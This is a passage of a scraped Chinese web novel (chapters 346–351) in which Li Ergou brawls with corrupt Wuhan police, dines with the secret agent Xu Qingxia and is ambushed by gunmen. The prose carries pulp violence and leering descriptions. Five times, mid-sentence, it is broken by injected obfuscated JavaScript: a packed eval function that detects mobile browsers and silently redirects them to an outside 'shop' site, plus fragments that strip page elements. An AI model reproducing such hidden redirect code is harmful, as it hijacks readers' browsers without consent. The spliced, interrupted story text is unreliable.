两个男青年在地上疼得直抽气,李二狗拍了拍衣襟上的灰,捡起地上的**扔进垃圾桶,转身向前走去。 “站住!” 两个警察拦住了李二狗的去路。 第346章 你不是眼瞎,你是心眼坏 李二狗突然被人拦住去路,本能地吓了一跳,当他看清是两名警察时,才长舒了一口气。 有困难找警察,但此时的李二狗忘记了一个事实,这里是武汉,不是江东。 武汉的警察不是江东的警察,他们根本不认识李二狗。 “两位老总,刚才那两个人拦路**,你们快把他们缉拿归案。” 两个警察没有动,眼神冰冷地看了一眼李二狗。 “拦路**?谁拦路**?” 两个男青年从地上艰难地爬起来,相互搀扶着跑到两个警察面前。 “老总,老总,这个人刚刚要非礼那位大婶,我们路见不平、拔刀相助,没想到他竟然把我们两个打翻在地,两位老总要给我们做主啊,快把这个行凶的歹徒抓起来。” 李二狗鄙视地看了一眼正躺在地上哀嚎不断的中年妇女,自己又不是眼瞎,怎么会非礼这种粗鄙的女人? “老总,你别听他们胡说八道,他们这是恶人先告状,我怎么会非礼这样的女人?” 警察鄙视之情溢于言表。 “是啊,看你穿的人五人六的,没想到你竟然非礼这样的女人,你让我们很震惊啊,你**还是人吗?饥不择食啊?” 李二狗差点笑出声来,自己女人成群,怎会非礼这样丑陋的老女人,简直是胡说八道。 “老总,你们可不能听这两个人胡说八道,我真的没有非礼这位大婶,我怎么可能非礼她呢?我又不是眼瞎!” “对,你不是眼瞎,你是心眼坏!” “老总,我真的没有啊!” “没有?那她怎么倒在地上?” 警察指了指不远处正躺在地上哀嚎的中年女人。 “她倒在地上是因为她拉着我的胳膊不让我走,我才……” “你才什么?这么说确实是你把她推倒在地上的?” “我只是不想她继续纠缠我,我……没有想到只是轻轻一甩她就倒在地上。” 李二狗变得有些语无伦次起来。 “这位大婶都什么年纪了?你竟然这样粗鲁地对待她?你还良心吗?” “是她非拉着我,还说要给我介绍姑娘,老总,我……反正我没有打她!” 李二狗说完就要走,警察怎么让他离开。 “我们明明看到你把这位大婶和两个见义勇为的路人打倒在地!怎么?打完人就想逃走吗?当我们警察是摆设吗?” 李二狗分辩道:“老总,你们真的误会了,是他们拦路**在先,我不得已才被迫反抗的,我才是受害者啊。” “哈哈,谁是受害者,谁是行凶者,不是你说了算,是老子说了算。” 李二狗这时才明白过来,原来这两个警察和他们这些人是一伙的。 “老总,你可不要冤枉好人啊,这里很多路人都看见了,你不信可以问他们。” 李二狗转头看向旁边的路人,刚才还在围观的众人,此时纷纷低着头快步离开了。 警察狞笑道:“你让我们问谁?” 李二狗哑口无言,此时他只想快点离开这里。 “老总,你们要**就明说,何必费这么大周折!” “妈的,敢侮辱我们警察,看你小子是活得不耐烦!” 警察的职责本来是保护百姓的生命安全,可现在却和黑恶势力沆瀣一气,真是令人痛心。 李二狗想贿赂贿赂这两个警察,他刚到武汉,并不想惹事。 “两位老总,请跟我到那边一下,我有话和你们说。” 李二狗身材魁梧,一看就是练家子,警察以为他想趁机逃走。 左边的警察攥着一根枣木警棍,眼睛瞪得通红,另一个已经摸出了**,在手里摆弄得哗啦作响。 “少**废话,但我们是傻雏吗?跟我们回局子问话!” 李二狗心里咯噔一下,“老总,你们可不要冤枉好人啊?” 他赔着笑往后退,眼睛却看向四处,随时准备找个机会逃走。 “想逃?没门!” 瘦高个警察突然发难,警棍带着风声扫向他的大腿。 这一下又快又阴,显然是想先废了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181782|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 他的行动力。 李二狗早有防备,猛地弹起身子,警棍擦着他的裤脚砸在墙上,“咚”的一声震得墙皮簌簌往下掉。 就在这刹那,八字胡警察拔出了驳壳枪,黑洞洞的枪口指着他的胸口:“再动老子就开枪了!” 李二狗眼神一凛,突然矮身,一把**从袖口滑进掌心,借着弯腰的力道横扫出去。 “当”的一声,**正磕在八字胡警察握枪的手腕上,驳壳枪“哐当”落在地上。 他顺势转身,手肘狠狠顶在瘦高个警察的肋下,那警察闷哼一声,警棍脱手飞出。 八字胡警察吃痛,另一只手攥成拳头砸过来。 李二狗不闪不避,左手挡开他的拳头,右手只取他的咽喉,逼得他连连后退。 瘦高个警察缓过劲来,从腰后摸出副**,疯了似的扑上来。 李二狗侧身避开,脚腕一勾,瘦高个警察重心不稳,结结实实地摔在地上,门牙磕在石阶上,顿时满嘴是血。 八字胡警察见状,抄起墙角的扁担就抡。 李二狗踩着瘦高个警察的后背跃起,手掌斜劈下去,正打在扁担中间。 那扁担是杂木做的,被这股巨力震得裂开细纹,八字胡警察虎口发麻,扁担脱手的瞬间,李二狗的膝盖已经顶在他的胸口。 “咳咳……”八字胡警察捂着胸口蹲下去,脸涨得像猪肝。 两个青年看到李二狗轻易就把两个警察打倒在地,吓坏了! 边跑边喊道:“快来人啊!快来人啊!有人打警察了!” 李二狗没恋战,瞥了眼地上哼哼的瘦高个警察,转身就往胡同深处跑。 青石板路被雨水泡得发滑,他却跑得飞快,几下就钻进了纵横交错的胡同里。 身后传来气急败坏的叫喊和杂乱的脚步声,李二狗不敢回头,七拐八绕地穿过三个胡同,最后翻过高高的院墙,落在片堆着柴火的后院里。 他贴着墙根喘了口气,听着远处的警笛声渐渐模糊,才裹紧身上的短褂,消失在更深的夜色里。 第347章 警察是冲我来的 李二狗来到一家门前霓虹灯闪烁、装饰豪华的高档酒店。 由于担心警察搜查,他本不想住酒店。 但初到武汉,人生地不熟,不去酒店实在没有其他地方可去。 思来想去,他便找到一家高档酒店。 在省城的时候,为了寻求刺激,他和静雯住过一次高档酒店。 他知道高档酒店里面住的都是有钱人,而且背后老板都是当地有头有脸的人物,警察根本不敢轻易到这种高档的酒店搜查。 高档酒店就是高档酒店,连前台女服务员都美若天仙。 一身红色修身刺绣小旗袍衬托出她**的完美身材,胸前那层峦叠嶂的样子任哪个男人看了都犯迷糊。 “先生,您好,请问有什么可以帮您?” 甜美且带着一丝性感的声音让李二狗心里一阵悸动,警察的事他早已忘到九霄云外。 “给我订一个房间,大一点的,”李二狗忍不住看了一眼波浪起伏,“僻静点。”他补充道。 “好的,先生,请您稍等,一共八块大洋。” 一个房间就要八块大洋,不愧是高档酒店。 李二狗面上不显,从兜里掏出九块大洋放在服务台上。 女服务员保持着惯常的微笑,她数了数,说道:“先生,您这是九块大洋,多出的这一块大洋,您收好。” 李二狗笑道:“多出的一块大洋是给你的小费,你的服务我很满意。” 女服务员立刻对李二狗刮目相看,看他穿得挺土,一看就来自乡下,但出手却很阔绰,明显是见过世面之人。 “谢谢先生,您如果有什么需要,请随时叫我。” 李二狗接过钥匙,笑道:“谢谢。” 进入房间,李二狗洗了一个热水澡,躺在床上,却怎么也睡不着。 “铃铃铃……” 床头的电话突然响了。 谁会这么晚打电话?李二狗第一时间想到了那个层峦叠嶂的女服务员。 “喂。” “先生,晚上好。” 果然是一个甜美的女声,但声线有些尖,并不是酒店前台那个女服务员。 “你找谁?” “先生,打扰了,漫漫长夜,无心睡眠,您需要服务吗?” 服务?李二狗脑子有些迷糊。 “什么服务?” 电话里传来一阵咯咯的笑声,住高档酒店的人竟不知道服务是什么! “先生,您想要什么服务都可以,我现在就去您房间。” 李二狗突然明白过来,做皮肉生意竟美化成服务,高档酒店确实高档,这可比既做**又立牌坊高档多了。 “不用了,谢谢。” 李二狗说完便挂断了电话,他是风流,但绝不下流,不嫖不抽不赌是他的底线! 担心再被骚扰,他干脆拔了电话线。 很快便进入了梦乡。 他做了一个梦,梦见自己和徐青霞一起去登黄鹤楼,两人站在楼顶,对着长江吟诵了一首《登黄鹤楼》,之后两人便旁若无人地亲吻起来…… 李二狗醒来,大汗淋漓,太阳透过纱窗正照射在他红扑扑的脸上。 他起床伸了个懒腰,果然贵有贵的道理,这一夜睡得真舒服。 昨天在火车上和徐青霞分别时,李二狗告诉她自己今天要去登黄鹤楼,不管她会不会去,李二狗都要去等她。 想到这,他赶紧起床,洗漱完毕之后就去了黄鹤楼。 没想到黄鹤楼早已毁于战火,目前只剩下一处遗址。 怪不得自己说专程到武汉看黄鹤楼时,徐青霞并不相信。 现在想来,自己当初的言论是多么的无知,也难怪徐青霞不答应自己的相邀。 李二狗站在遗址旁,看着滚滚的长江水不舍昼夜地向东流去,这时天空飘起了雨丝,他一时有些心潮澎湃。 “李先生。” 李二狗听到一个熟悉的声音,转头看到徐青霞正微笑地看着自己。 她一袭烟粉色杭绸旗袍裹着玲珑身段,领口绣着几枝待放的桃花,裙摆两侧开衩恰到好处,走动时隐约露出穿白丝袜的小腿,像沾了春雨的藕尖。 一头乌发挽成清雅螺髻,眉眼弯如新月,梨涡里盛着细碎笑意,肌肤在雨雾里透着瓷白柔光。 风卷着旗袍衣摆轻晃,将江南女子的温婉诗意,揉进每一缕雨丝里。 他有些激动地说道:“徐小姐,真没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181783|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 想到你会来。” 徐青霞莞尔一笑。 “我不来,只怕李先生会失望。” 李二狗的脸颊竟有些微微发烧。 “你能来我很高兴。” 徐青霞笑道:“怎么样?黄鹤楼雄伟吗?” 李二狗有些尴尬地一笑,说道:“听说黄鹤楼被损毁了,只是没想到被毁坏的如此彻底,战火真是无情啊。” “其实能不能登上黄鹤楼并不重要,心情才是最重要的,你说呢,李先生?” 大学生真是不一样,连说话都这么富含哲理。 “徐小姐说的真好,我此刻的心情就像这天空中飘着的雨丝。” “此话怎讲?” “剪不断理还乱。” 徐青霞听后笑道:“自在飞花轻似梦,无边丝雨细如愁,只是不知道李先生为何会如此惆怅?” 其实李二狗要表达的是见到徐青霞时那股莫名其妙的心情。 “哎,不说也罢,说出来怕扫了徐小姐的兴,我们沿着长江走走吧?” “好啊,李先生如果不介意,可以叫我青霞。” “青霞,”,多么美的名字,李二狗的名字倒显得过于粗鄙,“你也别叫我李先生了,还是叫我二狗吧。” “二狗,嘻嘻。” 正在这时,前面有一个警察向李二狗走来,看相貌有些眼熟。 李二狗转头发现身后也有一个警察向他走来,他们手里都拿着枪,很显然是有备而来。 徐青霞也意识到不对劲。 “二狗,你是不是犯了什么事?” “青霞,警察是冲我来的,你先走,别管我。” 警察手里拿着枪,李二狗不敢轻举妄动,担心会连累徐青霞。 不过徐青霞根本不为所动,一个刚毕业的女大学生,面对如此险境却显得如此淡定,李二狗不得不怀疑她的身份。 而徐青霞同样对李二狗的身份产生了怀疑,兵荒马乱的年月,竟不远千里南下,只为了看一看已经毁坏的黄鹤楼,这实在不合常理。 更关键的是他昨天才刚到武汉,现在却被警察盯上了,难道他是…… 徐青霞不敢再往下想,如果他真是,那她也救不了他! 第348章 冤家路窄 看到徐青霞站在原地,还是不为所动,李二狗催促道:“青霞,你快走啊,再不走就来不及了,我不想连累你。” 徐青霞不仅没走,反而问道:“二狗,你先告诉我,到底是怎么一回事?警察为什么要抓你?你不会是……” “这事说来话长,等以后有机会我再向你解释,你现在快走,这些警察根本不会和你讲道理的。” 李二狗推了一下徐青霞,警察见状,以为李二狗想要逃走,纷纷举枪对准了李二狗。 “站在原地,双手抱头蹲下,否则我们就开枪了!” “你快走啊!”李二狗歇斯底里地催促道。 “你不要担心,只要你不是……”徐青霞欲言又止,“不会有事的。” 这时,两个警察已经举枪靠了上来,此时就是想走也走不了了。 李二狗叹息一声,说道:“你们要抓的人是我,不关她的事,放她走!” “少**废话!双手抱头蹲下!否则我们就开枪了。” 李二狗双手抱头,蹲下身子,见徐青霞没有照做,担心她的安危,便催促道:“你先蹲下,待会就说我们是路人,你不认识我。” 徐青霞竟微微一笑,学着李二狗的样子双手抱头蹲了下来。 “两个警察罢了,看把你吓得!” 面对徐青霞的讥讽,李二狗丝毫不感到难为情,他只是担心自己反抗会伤到徐青霞罢了。 自己并不是懦夫,这一点已经不需要证明! 两个警察慢慢靠近,一个用枪顶着李二狗的脑袋,另一个掏出**,把李二狗拷了起来。 李二狗抬头看到竟是昨晚的那两个警察,真是冤家路窄,点背不能怨社会。 “我不认识她,你们放她走。” 瘦高个警察昨晚被李二狗打的不轻,此时两个眼眶周围还是青肿一片。 他抬脚就踢向李二狗,这一脚着实力气不小,把李二狗踢了个狗啃屎。 “你**都这时候了还敢和老子提条件!你不是挺能打吗?怎么不打了?你倒是打啊?” 说着又抬脚踢了李二狗两脚。 李二狗从地上挣扎着爬了起来。 “我知道你们是火车站那几个敲竹杠之人背后的保护伞,落到你们手里算我倒霉,说吧,要多少钱?我给!” “我尼玛!”八字胡警察抬脚又是一脚,这一次李二狗却稳稳地站住了! “吆喝!还是个硬茬子!我倒要看看你到底有多硬!” 说着举起警棍就要砸向李二狗的脑袋。 徐青霞这才明白,李二狗是被无良警察和地痞流氓合伙欺负了! 只要他不是**党,其他事她根本不担心。 “住手!” 她大喝一声,八字胡警察的警棍举在空中没有砸下去。 “老六,这还有个小妞,长得可真水灵啊,哈哈。” “还真是,看得我都有些心痒难耐了,哈哈。” 李二狗见状,大声喊道:“我不认识她,你们放她走,有本事冲老子来!” 两个警察根本不为所动,他们淫邪的目光在徐青霞身上上下游走。 “我看她就是你的同伙,不然你们为什么走在一起?老六,把这个女人拷起来带回局里,我要亲自审问她。” “好嘞,嘿嘿。” 瘦高个警察掏出一副**就要去拷徐青霞,李二狗便一个箭步冲到徐青霞身前。 “你们要干什么?我都说了不认识她,你们放她走,我跟你们回局里。” “我尼玛……” 瘦高个警察掏出枪,对准了李二狗。 “我数三声,你给我让开,不然老子一枪崩了你。” 李二狗双手虽然被铐着,却毫不畏惧,昂首挺胸地挡在徐青霞身前。 徐青霞也没想到李二狗竟为了一个只见过两次面的女人不惜以身犯险。 “一” “二” “二狗,你让开!他们不敢把我怎么样!” “不行,我绝不允许他们伤害你!” “我尼玛……”瘦高个**气得七窍生烟,“都这时候了还在这打情骂俏,我看你们都活得不耐烦了。” 不过他却没有在大庭广众之下**的勇气。 “老六,你和他废什么话?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186337|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 八字胡警察从背后一警棍砸在李二狗的背上,李二狗向前一个趔趄,一口鲜血吐了出来。 “二狗……”徐青霞急忙上前扶住李二狗,“你没事吧?” “我没事,青霞,你快走,我不想连累你!” “这时候我怎么能丢下你!再说,他们也不会放我走的。” “可……” “别说了,我有办法。” 徐青霞缓缓起身,走到八字胡警察跟前,冷不丁地给了他一个大耳光。 “我尼玛……你找死!” 八字胡警察举起警棍就要砸向徐青霞的脑袋,徐青霞已把一个证件举到他眼前。 “睁开你们的狗眼看清楚这是什么?” 八字胡警察定睛一看,竟是力行社湖北站的证件。 他当然知道力行社是什么人,更知道得罪他们会是什么下场。 他“扑通”一声跪在徐青霞面前,哀求道:“小的有眼不识泰山,得罪了姑奶奶,都是误会,请姑奶奶千万不要生气。” 徐青霞呵斥道:“既然是误会还不快点把他手上的**打开?” 八字胡警察赶忙从地上爬起来,掏出钥匙把**打开。 “五哥,你这……” 瘦高个警察不明白女人到底是什么身份把他吓成这个样子。 “少废话,她是……” 八字胡警察一番耳语,吓得瘦高个警察脸色大变,双腿竟不自觉地打成了哆嗦。 “还不快滚?” 徐青霞一个白眼,吓得两个警察落荒而逃。 “二狗,你没事吧?” 她赶紧掏出手绢,为李二狗拭去嘴角的鲜血。 “我没事。” 李二狗站起身,看到两个狼狈逃窜的警察,不明白他们究竟看到了什么,竟吓成这个样子。 “青霞,他们……,你给他们看了什么?” 徐青霞微微一笑,说道:“没什么,他们都是一群欺软怕硬的东西,我只不过是吓唬吓唬他们罢了。” 徐青霞不愿意说,李二狗也不便多问,但他知道,能让警察如此惧怕,徐青霞肯定不是普通女人。 第349章 咱们努力挣钱,不就是为了能挺直腰杆大声说话吗? “二狗,你的嘴角还在流血,我还是带你去医院检查一下吧?” 徐青霞很是担心李二狗的伤势,刚才那一警棍砸在后背上,力道十足,一般人根本承受不住。 李二狗挥动双臂,舒展了一下身体,除了后背被砸的那个位置还有些隐隐作痛之外,其他地方一切如常。 他轻松地笑道:“我没事,别担心。” “你真的没事?”徐青霞简直难以相信。 “我真没事,不信你看。” 李二狗双臂摆动,完全没有一点受伤的样子。 徐青霞心想,这个李二狗还真是不能小觑,他到底是什么人? 不过凭她作为女人的直觉判断,李二狗肯定不会伤害自己。 两人各怀心事,都对彼此的身份产生了怀疑,但同时又默契地保持着缄默。 他们萍水相逢,最多只是露水情缘,实在没有必要了解的太深。 “青霞,今天让你受连累,你又救了我,中午想请你吃顿饭表达一下我的歉意和谢意。” 徐青霞笑嘻嘻地说道:“你当然得请我吃饭,难道还想让我请你吗?嘻嘻。” “说吧,想吃什么?” 徐青霞水灵灵的大眼睛快速地转动了两圈,说道:“我也是刚来武汉,对这里也不熟悉,我们去前边看看吧。” 两人一同肩并肩往前走,保持着恰到好处的距离。 有好几次,李二狗很想拉起她的手,但最后还是忍住了。 “咱们去这家法兰西牛排店吧?好久没有吃牛排了。” 这是李二狗人生第一次吃牛排,为了掩饰自己的一无所知,他故意把菜单推向徐青霞。 “青霞,你来点吧,我什么都可以。” 徐青霞笑了笑,接过菜单,点了两份黑椒牛排、一份法式鹅肝、一份奶油蘑菇汤和一份法式蜗牛。 “你看看,还有想吃的吗?” 李二狗看都没看,说道:“我的口味和你一样,就这些吧。” 服务员接过菜单,礼貌地问道:“两位的牛排要几成熟?” 李二狗没有说话,因为服务员的问题远远超出了他的认知。 牛肉不得做熟了才能吃吗?不熟怎么吃?服务员的问题实在是令人匪夷所思,他从小就知道,吃生肉拉肚子。 徐青霞微微一笑,客气地说道:“我要八成熟,这位先生和我一样。” 李二狗表面很淡定,待服务员走后,才说道:“你牙口还挺好,牛排做不熟咬不动的。” 徐青霞忍住笑,说道:“我牙口是好。” 服务员很快便将开胃菜——一盘法式蜗牛端了上来。 李二狗看着盘里的一只只大蜗牛,目瞪口呆。 在他的意识里,蜗牛是一种有毒的东西,有毒的东西怎么能吃呢? 徐青霞看出了李二狗的疑问,自己用叉子叉了一个放到嘴里,边嚼边说道:“这种蜗牛都是人工养殖的可以食用的大蜗牛,你尝尝,味道可好吃了。” 李二狗还是有些犹豫,没想到徐青霞竟用自己的叉子叉了一个蜗牛送到李二狗的嘴边。 “你尝尝嘛,不好吃算我的。” 李二狗不知道她口中的“不好吃算我的”是什么意思,但此情此景之下,他只能张开嘴,轻轻地嚼了嚼,确实有一股怪怪的味道。 当着徐青霞的面,李二狗只能吞咽下去。 “好吃吗?” “好吃。” “那再吃一个。” 徐青霞再次叉了一个蜗牛送到李二狗嘴边,李二狗再次愉快地吞咽下去。 李二狗担心徐青霞再次投喂他,便起身说道:“我去趟洗手间。” 等他回来的时候,牛排已经摆放在餐桌上,好在他担心的问题并没有发生,至少眼前的这份牛排并没有想象中血淋淋的样子。 “吃吧。” 徐青霞左手拿刀,右手拿叉,李二狗依葫芦画瓢,也把刀叉拿在手中。 看着徐青霞熟练地使用刀叉的样子,李二狗羡慕急了。 不知道为什么,同样的刀叉拿在自己手中,却总是不听他的使唤。 “要不你吃我切好的这份吧?”徐青霞带着善意的微笑,李二狗却有些不自在。 “不用, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186338|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ”李二狗伸手叫过旁边的一个服务员,“给我拿双筷子。” 服务员听后竟露出一丝讥笑。 “对不起,先生,我们这里没有筷子。” 李二狗心中正恼,没想到一个服务员竟然当着徐青霞的面讥笑自己。 他把刀叉“当啷”一声扔到桌上。 “笑什么?笑话老子没见过世面?就你这样的小馆子,老子一次买七八个不费劲,小心老子把这家店买下来再把你轰出去。” 服务员没想到自己一个不经意的笑容竟让李二狗如此大动肝火。 “赶紧去给我拿双筷子来,马上!” 服务员赶紧说道:“好的,我马上去给您找。” “让你见笑了,我最看不惯这种狗眼看人低的家伙。” 徐青霞觉得此刻的李二狗不仅不粗鲁,反而显得十分可爱。 “好了,别生气了,这里是西餐厅,不能大声说话的。” 中国积贫积弱几十年,国人看到外国人就会不自觉地矮一头。 “在咱们中国自己的土地上,大声说话怎么了?咱们努力挣钱,不就是为了能挺直腰杆大声说话吗?” 李二狗说到激动处,声音不自觉又大了几分。 周围有几个吃饭的外国人,纷纷看向李二狗。 李二狗脸不红心不跳,怒视他们一眼。 “看什么?爷爷说话就这么大声,不愿意在这吃就滚蛋!” 外国人当中有几个能听懂中国话的,他们没想到这个年轻的中国人竟敢对他们外国人如此的不礼貌。 “东亚病夫,闭上你的臭嘴!” “小心我一拳把你打出去!**!” 李二狗“噌”的一下站了起来。 “二狗,你坐下。” 李二狗不知道,外国人在中国受到特别保护,他如果打伤外国人那是很严重的外交事件,徐青霞深知其中的厉害。 徐青霞站起来,轻轻地拉了一下他的胳膊。 “二狗,你冷静一点,要不然咱们还是换个地方吃饭吧?” 此时的李二狗倔脾气也上来了,他不可能忍下去。 第350章 把那些外国人全部赶出去 在一群外国人的起哄中,他招手叫过一个服务员。 “把你们经理叫来。” 服务员也害怕出事,赶紧跑到里面把经理叫了出来。 经理是一个四十多岁的中年人,穿得西装革履,大背头梳的油光锃亮。 “先生,您有什么吩咐?” 李二狗从兜里掏出一张五百块大洋的银票拍在桌上。 “这个餐厅我包场了,请你现在把餐厅所有的外国人都赶出去。” 经理瞥了一眼桌上的银票,确实是英国渣打银行的银票,他的喉咙忍不住滚动了几下。 五百块大洋,差不多是他这个餐厅一个星期的流水,实在是很诱人。 但他却不敢轻易得罪外国人。 “先生,您这是什么意思?外国人我们可得罪不起啊。” 李二狗不愿意和他多说废话,接着从兜里又掏出一张五百块大洋的银票拍在桌上。 “今天中午这个餐厅我包场,请你把那些外国人全部赶出去!立刻!马上!” 一千块大洋! 餐厅经理实在想不出任何理由来拒绝。 他赶紧把桌上的银票收起来装在兜里。 “先生,请您稍等,我马上去办!” 经理说完,径直走向那群外国人。 那群外国人一听要把他们赶出去,顿时怒视着李二狗,叽里呱啦地表达着**。 经理毫不含糊,直接招手叫来两个保安,把这群外国人赶了出去。 “Fuck!” “Fuck!” 赶走这群外国人之后,餐厅经理屁颠屁颠地跑到李二狗面前。 “先生,按照您的吩咐,我已经把那群不知天高地厚的家伙赶了出去,您还有什么吩咐?” 李二狗面无表情地说道:“今天中午,餐厅所有中国人的消费我来买单。” “先生,大气!”经理忍不住竖了个大拇指称赞道。 “各位先生、女士,今天中午你们在本店所有的消费由这位先生买单。” 他们刚才亲眼目睹了李二狗把那群外国人赶出去,如今又替他们买单,便自发地鼓起了掌。 “谢谢。” “谢谢。” 李二狗挥手向他们致意,一副洋洋自得的样子。 看向徐青霞时,本以为她会崇拜自己刚才的那番骚操作,没想到她却是一副冰冷的表情。 “虚荣心得到满足了?” 李二狗的笑容僵在脸上,悻悻地说道:“那群外国人实在是嚣张。” “恐怕嚣张的不只是他们吧?” 李二狗不知道徐青霞为何生气,但他知道,徐青霞绝不是一个无理取闹之人,想想自己刚才的所作所为,确实有嚣张跋扈的感觉。 “是我有些鲁莽了。” 徐青霞非常不理解李二狗为何仅仅为了自己一个面子,就愿意掏出一千块大洋。 这样的男人实在是略显轻浮,可他却能如此迅速地承认是自己鲁莽,他到底是个怎样的男人?实在是令人好奇! “快坐下吃饭吧。” 李二狗刚坐下,徐青霞已经把切好的一份牛排推到他面前。 “快吃吧,牛排凉了就不好吃了。” 看到徐青霞并没有因为自己刚才的鲁莽而表现出对自己的鄙视,李二狗这才放下心来。 两人吃过饭之后,刚起身,餐厅经理便急忙上前,手里提着一个精致的礼盒。 “先生,小姐,感谢你们的光顾,这是本店的一点小意思,请您笑纳。” 李二狗只是微微点了点头,接过礼盒,然后和徐青霞并肩走了出去。 餐厅经理一直小心翼翼地送到门外,挥手送别自己的金主。 “小心!” 李二狗扔掉手中的礼盒,一把抱住徐青霞,两人一起翻滚到餐厅旁边的一根柱子后面。 身后立即传来“砰砰砰……”几声枪响。 两个蒙面人**冲了过来。 徐青霞下意识地摸向腰间,才发现今天出门并没有携带武器。 蒙面人显然是有备而来,他们一边射击一边迅速向柱子靠近。 李二狗心想,自己刚才只是撵走了几个外国人,他们根本没必要置自己于死地! 如果不是针对自己,那肯定就是针对徐青霞。 徐青霞也是一脸茫然,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190204|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 刚到武汉,并没有结下什么仇人,他们不可能是针对自己。 如果不是针对自己,那肯定就是针对李二狗。 两人几乎同时看向对方,都想在对方眼睛里得到自己想要的答案。 但**越来越近,根本没留给他们任何思考的时间。 一阵乱枪之后,出现了短暂的安静,李二狗猜到**在换**。 他看到脚下有一块石头,便摸起石头猛地扔了出去,同时大喊一声:“**,快卧倒。” 徐青霞难以置信地看着李二狗,李二狗却拉起她冲进了餐厅里面。 两个蒙面人听到“**”的喊声并看到一个物体扔向他们后,吓得迅速卧倒在地。 半分钟过去了,却并没有任何声响,这时他们才发现扔过来的竟是一块石头,而他们要刺杀之人却躲进了餐厅里。 “狡猾的狗特务,我们冲进去杀了她!” 两个蒙面人**冲进了餐厅,餐厅里的顾客全部吓得躲在桌子底下瑟瑟发抖,李二狗和徐青霞却不知所向。 其中一个蒙面人指了指餐厅左边,示意同伴去搜查左边,自己搜查右边。 他们**经过一个个座位,座位下面全是瑟瑟发抖的顾客。 此时,李二狗和徐青霞已经躲进了餐厅后厨,几个厨师早已吓得四散而逃。 李二狗拿起一根擀面杖,徐青霞则拿起一把剔骨刀握在手中,看握刀的姿势定是受过专业的训练。 李二狗惊讶地看向徐青霞,危急时刻,徐青霞已经顾不得这些,只能拿出看家本领。 二人一左一右躲到厨房门的两侧位置,随时准备对进入的敌人发动攻击。 厨房的换气扇早就停了,油腻的腥气混着案板上残留的生肉味,在狭窄阴暗的空间里闷得人喘不过气。 徐青霞攥着剔骨刀,刃口在昏黄的光线下闪着冷光。 她瞥向对面的李二狗,只见他双手紧紧握住擀面杖,喉结滚动的声音在略显灰暗的厨房里格外清晰。 “来了。” 她轻轻地吐出两个字,走廊里的脚步声刚好停在门外,两人瞬间屏住呼吸。 第351章 **竟是宋小曼 厨房木门被猛地撞开,两个一身黑衣的身影旋风般闯了进来,为首的蒙面人挥枪直指门后死角。 徐青霞早有预判,矮身从门后窜出,剔骨刀贴着对方胳膊划过去,“嗤”的一声划破黑衣,带出一道血线,蒙面人手里的枪掉落在地上,被徐青霞一脚踢向墙角。 蒙面人显然经过特殊训练,**被打落之后,迅速从腰间摸出一把短刀,猛地刺向徐青霞,被她一个闪身躲过了。 “小心身后!” 李二狗的嘶吼刚出口,另一个蒙面人已经抬脚踹向徐青霞后腰。 徐青霞刚躲开第一刀,避无可避地被踹中,脑袋重重撞在灶台边缘,铁锅“哐当”砸在水泥地上。 她闷哼一声,剔骨刀脱手滑落,人顺着灶台软下去,彻底没了动静。 李二狗眼睛红了,举着擀面杖朝踹人的蒙面人砸过去,正砸在他的胳膊上,手里的**“当啷”掉在地上。 